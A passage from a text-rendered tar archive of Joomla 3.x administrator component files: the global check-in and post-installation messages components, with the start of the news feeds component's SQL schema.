	}
}
com_checkin/config.xml000060400000001110152455305270010772 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_checkin"
			section="component">
			<action
				name="core.admin"
				title="JACTION_ADMIN"
				description="JACTION_ADMIN_COMPONENT_DESC" />
			<action
				name="core.manage"
				title="JACTION_MANAGE"
				description="JACTION_MANAGE_COMPONENT_DESC" />
		</field>
	</fieldset>
</config>
com_checkin/models/forms/filter_checkin.xml000060400000002033152455305270015114 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CHECKIN_FILTER_SEARCH_LABEL"
			description="COM_CHECKIN_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="COM_CHECKIN_NO_ITEMS"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="table ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="table ASC">COM_CHECKIN_DATABASE_TABLE_ASC</option>
			<option value="table DESC">COM_CHECKIN_DATABASE_TABLE_DESC</option>
			<option value="count ASC">COM_CHECKIN_ITEMS_TO_CHECK_IN_ASC</option>
			<option value="count DESC">COM_CHECKIN_ITEMS_TO_CHECK_IN_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="5"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_checkin/models/checkin.php000060400000011633152455305270012416 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_checkin
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Checkin Model
 *
 * @since  1.6
 */
class CheckinModelCheckin extends JModelList
{
	/**
	 * Count of the total items checked out
	 *
	 * @var  integer
	 */
	protected $total;

	/**
	 * Unused class variable
	 *
	 * @var  object
	 * @deprecated  4.0
	 */
	protected $tables;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   3.5
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'table',
				'count',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note: Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'table', $direction = 'asc')
	{
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'));

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Checks in requested tables
	 *
	 * @param   array  $ids  An array of table names. Optional.
	 *
	 * @return  integer  Checked in item count
	 *
	 * @since   1.6
	 */
	public function checkin($ids = array())
	{
		$db = $this->getDbo();
		$nullDate = $db->getNullDate();

		if (!is_array($ids))
		{
			return 0;
		}

		// This int will hold the checked item count.
		$results = 0;

		$dispatcher = \JEventDispatcher::getInstance();

		foreach ($ids as $tn)
		{
			// Make sure we get the right tables based on prefix.
			if (stripos($tn, JFactory::getApplication()->get('dbprefix')) !== 0)
			{
				continue;
			}

			$fields = $db->getTableColumns($tn);

			if (!(isset($fields['checked_out']) && isset($fields['checked_out_time'])))
			{
				continue;
			}

			$query = $db->getQuery(true)
				->update($db->quoteName($tn))
				->set($db->quoteName('checked_out') . ' = DEFAULT')
				->set($db->quoteName('checked_out_time') . ' = ' . $db->quote($nullDate))
				->where($db->quoteName('checked_out') . ' > 0');

			$db->setQuery($query);

			if ($db->execute())
			{
				$results = $results + $db->getAffectedRows();
				$dispatcher->trigger('onAfterCheckin', array($tn));
			}
		}

		return $results;
	}

	/**
	 * Get total of tables
	 *
	 * @return  integer  Total to check-in tables
	 *
	 * @since   1.6
	 */
	public function getTotal()
	{
		if (!isset($this->total))
		{
			$this->getItems();
		}

		return $this->total;
	}

	/**
	 * Get tables
	 *
	 * @return  array  Checked in table names as keys and checked in item count as values.
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		if (!isset($this->items))
		{
			$db     = $this->getDbo();
			$tables = $db->getTableList();

			// This array will hold table name as key and checked in item count as value.
			$results = array();

			foreach ($tables as $i => $tn)
			{
				// Make sure we get the right tables based on prefix.
				if (stripos($tn, JFactory::getApplication()->get('dbprefix')) !== 0)
				{
					unset($tables[$i]);
					continue;
				}

				if ($this->getState('filter.search') && stripos($tn, $this->getState('filter.search')) === false)
				{
					unset($tables[$i]);
					continue;
				}

				$fields = $db->getTableColumns($tn);

				if (!(isset($fields['checked_out']) && isset($fields['checked_out_time'])))
				{
					unset($tables[$i]);
					continue;
				}
			}

			foreach ($tables as $tn)
			{
				$query = $db->getQuery(true)
					->select('COUNT(*)')
					->from($db->quoteName($tn))
					->where('checked_out > 0');

				$db->setQuery($query);

				if ($db->execute())
				{
					$results[$tn] = $db->loadResult();

					// Show only tables with items to checkin.
					if ((int) $results[$tn] === 0)
					{
						unset($results[$tn]);
					}
				}
				else
				{
					continue;
				}
			}

			$this->total = count($results);

			// Order items by table
			if ($this->getState('list.ordering') == 'table')
			{
				if (strtolower($this->getState('list.direction')) == 'asc')
				{
					ksort($results);
				}
				else
				{
					krsort($results);
				}
			}
			// Order items by number of items
			else
			{
				if (strtolower($this->getState('list.direction')) == 'asc')
				{
					asort($results);
				}
				else
				{
					arsort($results);
				}
			}

			// Pagination
			$limit = (int) $this->getState('list.limit');

			if ($limit !== 0)
			{
				$this->items = array_slice($results, $this->getState('list.start'), $limit);
			}
			else
			{
				$this->items = $results;
			}
		}

		return $this->items;
	}
}
com_postinstall/config.xml000060400000000525152455305270011753 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<config>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			component="com_postinstall"
			section="component" 
		/>
	</fieldset>	
</config>com_postinstall/access.xml000060400000000516152455305270011747 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_postinstall">
	<section name="component">
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_postinstall/fof.xml000060400000000605152455305270011257 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<fof>
	<backend>
		<dispatcher>
			<option name="default_view">messages</option>
		</dispatcher>
		<view name="messages">
			<acl>
				<task name="reset">core.edit.state</task>
			</acl>
			<taskmap>
				<task name="read">browse</task>
				<task name="add">browse</task>
				<task name="edit">browse</task>
			</taskmap>
		</view>
	</backend>
</fof>
com_postinstall/postinstall.php000060400000000546152455305270013054 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Dispatch the component.
FOFDispatcher::getTmpInstance('com_postinstall')->dispatch();
com_postinstall/postinstall.xml000060400000002043152455305270013057 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.2" method="upgrade">
	<name>com_postinstall</name>
	<author>Joomla! Project</author>
	<creationDate>September 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.0</version>
	<description>COM_POSTINSTALL_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>fof.xml</filename>
			<filename>postinstall.php</filename>
			<filename>toolbar.php</filename>
			<folder>controllers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_postinstall.ini</language>
			<language tag="en-GB">language/en-GB.com_postinstall.sys.ini</language>
		</languages>
	</administration>
</extension>
com_postinstall/toolbar.php000060400000001240152455305270012132 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Toolbar class renders the component title area and the toolbar.
 *
 * @since  3.2
 */
class PostinstallToolbar extends FOFToolbar
{
	/**
	 * Setup the toolbar and title
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function onMessages()
	{
		JToolBarHelper::preferences($this->config['option'], 550, 875);
		JToolbarHelper::help('JHELP_COMPONENTS_POST_INSTALLATION_MESSAGES');
	}
}
com_postinstall/models/messages.php000060400000035633152455305270013577 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Model class to manage postinstall messages
 *
 * @since  3.2
 */
class PostinstallModelMessages extends FOFModel
{
	/**
	 * Builds the SELECT query
	 *
	 * @param   boolean  $overrideLimits  Are we requested to override the set limits?
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   3.2
	 */
	public function buildQuery($overrideLimits = false)
	{
		$query = parent::buildQuery($overrideLimits);

		$db = $this->getDbo();

		// Add a forced extension filtering to the list
		$eid = $this->getState('eid', 700);
		$query->where($db->qn('extension_id') . ' = ' . $db->q($eid));

		// Force filter only enabled messages
		$published = $this->getState('published', 1, 'int');
		$query->where($db->qn('enabled') . ' = ' . (int) $published);

		return $query;
	}

	/**
	 * Returns the name of an extension, as registered in the #__extensions table
	 *
	 * @param   integer  $eid  The extension ID
	 *
	 * @return  string  The extension name
	 *
	 * @since   3.2
	 */
	public function getExtensionName($eid)
	{
		// Load the extension's information from the database
		$db = $this->getDbo();

		$query = $db->getQuery(true)
			->select(array('name', 'element', 'client_id'))
			->from($db->qn('#__extensions'))
			->where($db->qn('extension_id') . ' = ' . (int) $eid);

		$db->setQuery($query, 0, 1);

		$extension = $db->loadObject();

		if (!is_object($extension))
		{
			return '';
		}

		// Load language files
		$basePath = JPATH_ADMINISTRATOR;

		if ($extension->client_id == 0)
		{
			$basePath = JPATH_SITE;
		}

		$lang = JFactory::getLanguage();
		$lang->load($extension->element, $basePath);

		// Return the localised name
		return JText::_(strtoupper($extension->name));
	}

	/**
	 * Resets all messages for an extension
	 *
	 * @param   integer  $eid  The extension ID whose messages we'll reset
	 *
	 * @return  mixed  False if we fail, a db cursor otherwise
	 *
	 * @since   3.2
	 */
	public function resetMessages($eid)
	{
		$db = $this->getDbo();

		$query = $db->getQuery(true)
			->update($db->qn('#__postinstall_messages'))
			->set($db->qn('enabled') . ' = 1')
			->where($db->qn('extension_id') . ' = ' . (int) $eid);
		$db->setQuery($query);

		return $db->execute();
	}

	/**
	 * Hides all messages for an extension
	 *
	 * @param   integer  $eid  The extension ID whose messages we'll hide
	 *
	 * @return  mixed  False if we fail, a db cursor otherwise
	 *
	 * @since   3.8.7
	 */
	public function hideMessages($eid)
	{
		$db = $this->getDbo();

		$query = $db->getQuery(true)
			->update($db->qn('#__postinstall_messages'))
			->set($db->qn('enabled') . ' = 0')
			->where($db->qn('extension_id') . ' = ' . (int) $eid);
		$db->setQuery($query);

		return $db->execute();
	}

	/**
	 * List post-processing. This is used to run the programmatic display
	 * conditions against each list item and decide if we have to show it or
	 * not.
	 *
	 * Do note that this a core method of the RAD Layer which operates directly
	 * on the list it's being fed. A little touch of modern magic.
	 *
	 * @param   array  &$resultArray  A list of items to process
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function onProcessList(&$resultArray)
	{
		$unset_keys          = array();
		$language_extensions = array();

		// Order the results DESC so the newest is on the top.
		$resultArray = array_reverse($resultArray);

		foreach ($resultArray as $key => $item)
		{
			// Filter out messages based on dynamically loaded programmatic conditions.
			if (!empty($item->condition_file) && !empty($item->condition_method))
			{
				jimport('joomla.filesystem.file');

				$file = FOFTemplateUtils::parsePath($item->condition_file, true);

				if (JFile::exists($file))
				{
					require_once $file;

					$result = call_user_func($item->condition_method);

					if ($result === false)
					{
						$unset_keys[] = $key;
					}
				}
			}

			// Load the necessary language files.
			if (!empty($item->language_extension))
			{
				$hash = $item->language_client_id . '-' . $item->language_extension;

				if (!in_array($hash, $language_extensions))
				{
					$language_extensions[] = $hash;
					JFactory::getLanguage()->load($item->language_extension, $item->language_client_id == 0 ? JPATH_SITE : JPATH_ADMINISTRATOR);
				}
			}
		}

		if (!empty($unset_keys))
		{
			foreach ($unset_keys as $key)
			{
				unset($resultArray[$key]);
			}
		}
	}

	/**
	 * Get the dropdown options for the list of component with post-installation messages
	 *
	 * @since 3.4
	 *
	 * @return  array  Compatible with JHtmlSelect::genericList
	 */
	public function getComponentOptions()
	{
		$db = $this->getDbo();

		$query = $db->getQuery(true)
			->select('extension_id')
			->from($db->qn('#__postinstall_messages'))
			->group(array($db->qn('extension_id')));
		$db->setQuery($query);
		$extension_ids = $db->loadColumn();

		$options = array();

		JFactory::getLanguage()->load('files_joomla.sys', JPATH_SITE, null, false, false);

		foreach ($extension_ids as $eid)
		{
			$options[] = JHtml::_('select.option', $eid, $this->getExtensionName($eid));
		}

		return $options;
	}

	/**
	 * Adds or updates a post-installation message (PIM) definition. You can use this in your post-installation script using this code:
	 *
	 * require_once JPATH_LIBRARIES . '/fof/include.php';
	 * FOFModel::getTmpInstance('Messages', 'PostinstallModel')->addPostInstallationMessage($options);
	 *
	 * The $options array contains the following mandatory keys:
	 *
	 * extension_id        The numeric ID of the extension this message is for (see the #__extensions table)
	 *
	 * type                One of message, link or action. Their meaning is:
	 *                         message  Informative message. The user can dismiss it.
	 *                         link     The action button links to a URL. The URL is defined in the action parameter.
	 *                         action   A PHP action takes place when the action button is clicked. You need to specify the action_file
	 *                                  (RAD path to the PHP file) and action (PHP function name) keys. See below for more information.
	 *
	 * title_key           The JText language key for the title of this PIM.
	 *                     Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_TITLE
	 *
	 * description_key     The JText language key for the main body (description) of this PIM
	 *                     Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_DESCRIPTION
	 *
	 * action_key          The JText language key for the action button. Ignored and not required when type=message
	 *                     Example: COM_FOOBAR_POSTINSTALL_MESSAGEONE_ACTION
	 *
	 * language_extension  The extension name which holds the language keys used above.
	 *                     For example, com_foobar, mod_something, plg_system_whatever, tpl_mytemplate
	 *
	 * language_client_id  Should we load the frontend (0) or backend (1) language keys?
	 *
	 * version_introduced  Which was the version of your extension where this message appeared for the first time?
	 *                     Example: 3.2.1
	 *
	 * enabled             Must be 1 for this message to be enabled. If you omit it, it defaults to 1.
	 *
	 * condition_file      The RAD path to a PHP file containing a PHP function which determines whether this message should be shown to
	 *                     the user. @see FOFTemplateUtils::parsePath() for RAD path format. Joomla! will include this file before calling
	 *                     the condition_method.
	 *                     Example:   admin://components/com_foobar/helpers/postinstall.php
	 *
	 * condition_method    The name of a PHP function which will be used to determine whether to show this message to the user. This must be
	 *                     a simple PHP user function (not a class method, static method etc) which returns true to show the message and false
	 *                     to hide it. This function is defined in the condition_file.
	 *                     Example: com_foobar_postinstall_messageone_condition
	 *
	 * When type=message no additional keys are required.
	 *
	 * When type=link the following additional keys are required:
	 *
	 * action  The URL which will open when the user clicks on the PIM's action button
	 *         Example:    index.php?option=com_foobar&view=tools&task=installSampleData
	 *
	 * When type=action the following additional keys are required:
	 *
	 * action_file  The RAD path to a PHP file containing a PHP function which performs the action of this PIM. @see FOFTemplateUtils::parsePath()
	 *              for RAD path format. Joomla! will include this file before calling the function defined in the action key below.
	 *              Example:   admin://components/com_foobar/helpers/postinstall.php
	 *
	 * action       The name of a PHP function which will be used to run the action of this PIM. This must be a simple PHP user function
	 *              (not a class method, static method etc) which returns no result.
	 *              Example: com_foobar_postinstall_messageone_action
	 *
	 * @param   array  $options  See description
	 *
	 * @return  $this
	 *
	 * @throws  Exception
	 */
	public function addPostInstallationMessage(array $options)
	{
		// Make sure there are options set
		if (!is_array($options))
		{
			throw new Exception('Post-installation message definitions must be of type array', 500);
		}

		// Initialise array keys
		$defaultOptions = array(
			'extension_id'       => '',
			'type'               => '',
			'title_key'          => '',
			'description_key'    => '',
			'action_key'         => '',
			'language_extension' => '',
			'language_client_id' => '',
			'action_file'        => '',
			'action'             => '',
			'condition_file'     => '',
			'condition_method'   => '',
			'version_introduced' => '',
			'enabled'            => '1',
		);

		$options = array_merge($defaultOptions, $options);

		// Array normalisation. Removes array keys not belonging to a definition.
		$defaultKeys = array_keys($defaultOptions);
		$allKeys     = array_keys($options);
		$extraKeys   = array_diff($allKeys, $defaultKeys);

		if (!empty($extraKeys))
		{
			foreach ($extraKeys as $key)
			{
				unset($options[$key]);
			}
		}

		// Normalisation of integer values
		$options['extension_id']       = (int) $options['extension_id'];
		$options['language_client_id'] = (int) $options['language_client_id'];
		$options['enabled']            = (int) $options['enabled'];

		// Normalisation of 0/1 values
		foreach (array('language_client_id', 'enabled') as $key)
		{
			$options[$key] = $options[$key] ? 1 : 0;
		}

		// Make sure there's an extension_id
		if (!(int) $options['extension_id'])
		{
			throw new Exception('Post-installation message definitions need an extension_id', 500);
		}

		// Make sure there's a valid type
		if (!in_array($options['type'], array('message', 'link', 'action')))
		{
			throw new Exception('Post-installation message definitions need to declare a type of message, link or action', 500);
		}

		// Make sure there's a title key
		if (empty($options['title_key']))
		{
			throw new Exception('Post-installation message definitions need a title key', 500);
		}

		// Make sure there's a description key
		if (empty($options['description_key']))
		{
			throw new Exception('Post-installation message definitions need a description key', 500);
		}

		// If the type is anything other than message you need an action key
		if (($options['type'] != 'message') && empty($options['action_key']))
		{
			throw new Exception('Post-installation message definitions need an action key when they are of type "' . $options['type'] . '"', 500);
		}

		// You must specify the language extension
		if (empty($options['language_extension']))
		{
			throw new Exception('Post-installation message definitions need to specify which extension contains their language keys', 500);
		}

		// The action file and method are only required for the "action" type
		if ($options['type'] == 'action')
		{
			if (empty($options['action_file']))
			{
				throw new Exception('Post-installation message definitions need an action file when they are of type "action"', 500);
			}

			$file_path = FOFTemplateUtils::parsePath($options['action_file'], true);

			if (!@is_file($file_path))
			{
				throw new Exception('The action file ' . $options['action_file'] . ' of your post-installation message definition does not exist', 500);
			}

			if (empty($options['action']))
			{
				throw new Exception('Post-installation message definitions need an action (function name) when they are of type "action"', 500);
			}
		}

		if ($options['type'] == 'link')
		{
			if (empty($options['link']))
			{
				throw new Exception('Post-installation message definitions need an action (URL) when they are of type "link"', 500);
			}
		}

		// The condition file and method are only required when the type is not "message"
		if ($options['type'] != 'message')
		{
			if (empty($options['condition_file']))
			{
				throw new Exception('Post-installation message definitions need a condition file when they are of type "' . $options['type'] . '"', 500);
			}

			$file_path = FOFTemplateUtils::parsePath($options['condition_file'], true);

			if (!@is_file($file_path))
			{
				throw new Exception('The condition file ' . $options['condition_file'] . ' of your post-installation message definition does not exist', 500);
			}

			if (empty($options['condition_method']))
			{
				throw new Exception(
					'Post-installation message definitions need a condition method (function name) when they are of type "'
					. $options['type'] . '"',
					500
				);
			}
		}

		// Check if the definition exists
		$table     = $this->getTable();
		$tableName = $table->getTableName();

		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->qn($tableName))
			->where($db->qn('extension_id') . ' = ' . (int) $options['extension_id'])
			->where($db->qn('type') . ' = ' . $db->q($options['type']))
			->where($db->qn('title_key') . ' = ' . $db->q($options['title_key']));

		$existingRow = $db->setQuery($query)->loadAssoc();

		// Is the existing definition the same as the one we're trying to save?
		if (!empty($existingRow))
		{
			$same = true;

			foreach ($options as $k => $v)
			{
				if ($existingRow[$k] != $v)
				{
					$same = false;
					break;
				}
			}

			// Trying to add the same row as the existing one; quit
			if ($same)
			{
				return $this;
			}

			// Otherwise it's not the same row. Remove the old row before insert a new one.
			$query = $db->getQuery(true)
				->delete($db->qn($tableName))
				->where($db->q('extension_id') . ' = ' . (int) $options['extension_id'])
				->where($db->q('type') . ' = ' . $db->q($options['type']))
				->where($db->q('title_key') . ' = ' . $db->q($options['title_key']));

			$db->setQuery($query)->execute();
		}

		// Insert the new row
		$options = (object) $options;
		$db->insertObject($tableName, $options);

		return $this;
	}
}
com_postinstall/views/messages/view.html.php000060400000003032152455305270015352 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Model class to display postinstall messages
 *
 * @since  3.2
 */
class PostinstallViewMessages extends FOFViewHtml
{
	/**
	 * Executes before rendering the page for the Browse task.
	 *
	 * @param   string  $tpl  Subtemplate to use
	 *
	 * @return  boolean  Return true to allow rendering of the page
	 *
	 * @since   3.2
	 */
	protected function onBrowse($tpl = null)
	{
		/** @var PostinstallModelMessages $model */
		$model = $this->getModel();

		$this->eid = (int) $model->getState('eid', '700', 'int');

		if (empty($this->eid))
		{
			$this->eid = 700;
		}

		$this->token = JFactory::getSession()->getFormToken();
		$this->extension_options = $model->getComponentOptions();

		JToolBarHelper::title(JText::sprintf('COM_POSTINSTALL_MESSAGES_TITLE', $model->getExtensionName($this->eid)));

		return parent::onBrowse($tpl);
	}

	/**
	 * Executes on display of the page
	 *
	 * @param   string  $tpl  Subtemplate to use
	 *
	 * @return  boolean  Return true to allow rendering of the page
	 *
	 * @since   3.8.7
	 */
	protected function onDisplay($tpl = null)
	{
		$return = parent::onDisplay($tpl);

		if (!empty($this->items))
		{
			JToolbarHelper::custom('hideAll', 'unpublish.png', 'unpublish_f2.png', 'COM_POSTINSTALL_HIDE_ALL_MESSAGES', false);
		}

		return $return;
	}
}
com_postinstall/views/messages/tmpl/default.xml000060400000000332152455305270016046 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_POSTINSTALL_MESSAGES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_POSTINSTALL_MESSAGES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_postinstall/views/messages/tmpl/default.php000060400000006566152455305270016054 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;

$lang     = Factory::getLanguage();
$renderer = Factory::getDocument()->loadRenderer('module');
$options  = array('style' => 'raw');
$mod      = JModuleHelper::getModule('mod_feed');
$param    = array(
	'rssurl'      => 'https://www.joomla.org/announcements/release-news.feed?type=rss',
	'rsstitle'    => 0,
	'rssdesc'     => 0,
	'rssimage'    => 1,
	'rssitems'    => 5,
	'rssitemdesc' => 1,
	'rssitemdate' => 1,
	'rssrtl'      => $lang->isRtl() ? 1 : 0,
	'word_count'  => 200,
	'cache'       => 0,
	);
$params = array('params' => json_encode($param));

JHtml::_('formbehavior.chosen', 'select');
?>

<form action="index.php" method="post" name="adminForm" class="form-inline" id="adminForm">
	<input type="hidden" name="option" value="com_postinstall">
	<input type="hidden" name="task" value="">
	<?php echo JHtml::_('form.token'); ?>
	<label for="eid"><?php echo JText::_('COM_POSTINSTALL_MESSAGES_FOR'); ?></label>
	<?php echo JHtml::_('select.genericlist', $this->extension_options, 'eid', array('onchange' => 'this.form.submit()', 'class' => 'input-xlarge'), 'value', 'text', $this->eid, 'eid'); ?>
</form>

<?php if ($this->eid == 700) : ?>
<div class="row-fluid">
	<div class="span8">
<?php endif; ?>
		<?php if (empty($this->items)) : ?>
			<div class="hero-unit">
				<h2><?php echo JText::_('COM_POSTINSTALL_LBL_NOMESSAGES_TITLE'); ?></h2>
				<p><?php echo JText::_('COM_POSTINSTALL_LBL_NOMESSAGES_DESC'); ?></p>
				<a href="index.php?option=com_postinstall&amp;view=messages&amp;task=reset&amp;eid=<?php echo $this->eid; ?>&amp;<?php echo $this->token; ?>=1" class="btn btn-warning btn-large">
					<span class="icon icon-eye-open" aria-hidden="true"></span>
					<?php echo JText::_('COM_POSTINSTALL_BTN_RESET'); ?>
				</a>
			</div>
		<?php else : ?>
			<?php foreach ($this->items as $item) : ?>
			<fieldset>
				<legend><?php echo JText::_($item->title_key); ?></legend>
				<p class="small">
					<?php echo JText::sprintf('COM_POSTINSTALL_LBL_SINCEVERSION', $item->version_introduced); ?>
				</p>
				<div>
					<?php echo JText::_($item->description_key); ?>
					<?php if ($item->type !== 'message') : ?>
					<a href="index.php?option=com_postinstall&amp;view=messages&amp;task=action&amp;id=<?php echo $item->postinstall_message_id; ?>&amp;<?php echo $this->token; ?>=1" class="btn btn-primary">
						<?php echo JText::_($item->action_key); ?>
					</a>
					<?php endif; ?>
					<?php if (Factory::getUser()->authorise('core.edit.state', 'com_postinstall')) : ?>
					<a href="index.php?option=com_postinstall&amp;view=message&amp;task=unpublish&amp;id=<?php echo $item->postinstall_message_id; ?>&amp;<?php echo $this->token; ?>=1" class="btn btn-inverse btn-small">
						<?php echo JText::_('COM_POSTINSTALL_BTN_HIDE'); ?>
					</a>
					<?php endif; ?>
				</div>
			</fieldset>
			<?php endforeach; ?>
		<?php endif; ?>
<?php if ($this->eid == 700) : ?>
	</div>
	<div class="span4"<?php if ($lang->isRtl()) : ?> style="padding-right: 20px;"<?php endif; ?>>
		<h2><?php echo JText::_('COM_POSTINSTALL_LBL_RELEASENEWS'); ?></h2>
		<?php echo $renderer->render($mod, $params, $options); ?>
	</div>
</div>
<?php endif; ?>
com_postinstall/controllers/message.php000060400000004131152455305270014464 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Postinstall message controller.
 *
 * @since  3.2
 */
class PostinstallControllerMessage extends FOFController
{
	/**
	 * Resets all post-installation messages of the specified extension.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function reset()
	{
		// CSRF prevention.
		$this->_csrfProtection();

		/** @var PostinstallModelMessages $model */
		$model = $this->getThisModel();

		$eid = (int) $model->getState('eid', '700', 'int');

		if (empty($eid))
		{
			$eid = 700;
		}

		$model->resetMessages($eid);

		$this->setRedirect('index.php?option=com_postinstall&eid=' . $eid);
	}

	/**
	 * Hides all post-installation messages of the specified extension.
	 *
	 * @return  void
	 *
	 * @since   3.8.7
	 */
	public function hideAll()
	{
		// CSRF prevention.
		$this->_csrfProtection();

		/** @var PostinstallModelMessages $model */
		$model = $this->getThisModel();

		$eid = (int) $model->getState('eid', '700', 'int');

		if (empty($eid))
		{
			$eid = 700;
		}

		$model->hideMessages($eid);

		$this->setRedirect('index.php?option=com_postinstall&eid=' . $eid);
	}

	/**
	 * Executes the action associated with an item.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function action()
	{
		// CSRF prevention.
		$this->_csrfProtection();

		$model = $this->getThisModel();

		if (!$model->getId())
		{
			$model->setIDsFromRequest();
		}

		$item = $model->getItem();

		switch ($item->type)
		{
			case 'link':
				$this->setRedirect($item->action);

				return;

				break;

			case 'action':
				jimport('joomla.filesystem.file');

				$file = FOFTemplateUtils::parsePath($item->action_file, true);

				if (JFile::exists($file))
				{
					require_once $file;

					call_user_func($item->action);
				}
				break;

			case 'message':
			default:
				break;
		}

		$this->setRedirect('index.php?option=com_postinstall');
	}
}
com_newsfeeds/sql/uninstall.mysql.utf8.sql000060400000000046152455305270014753 0ustar00DROP TABLE IF EXISTS `#__newsfeeds`;

com_newsfeeds/sql/install.mysql.utf8.sql000060400000003512152455305270014411 0ustar00--
-- Table structure for table `#__newsfeeds`
--

CREATE TABLE IF NOT EXISTS `#__newsfeeds` (
  `catid` int NOT NULL DEFAULT 0,
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(100) NOT NULL DEFAULT '',
  `alias` varchar(400) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '',
  `link` varchar(2048) NOT NULL DEFAULT '',
  `published` tinyint NOT NULL DEFAULT 0,
  `numarticles` int unsigned NOT NULL DEFAULT 1,
  `cache_time` int unsigned NOT NULL DEFAULT 3600,
  `checked_out` int unsigned NOT NULL DEFAULT 0,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `ordering` int NOT NULL DEFAULT 0,
  `rtl` tinyint NOT NULL DEFAULT 0,
  `access` int unsigned NOT NULL DEFAULT 0,
  `language` char(7) NOT NULL DEFAULT '',
  `params` text NOT NULL,
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `created_by` int unsigned NOT NULL DEFAULT 0,
  `created_by_alias` varchar(255) NOT NULL DEFAULT '',
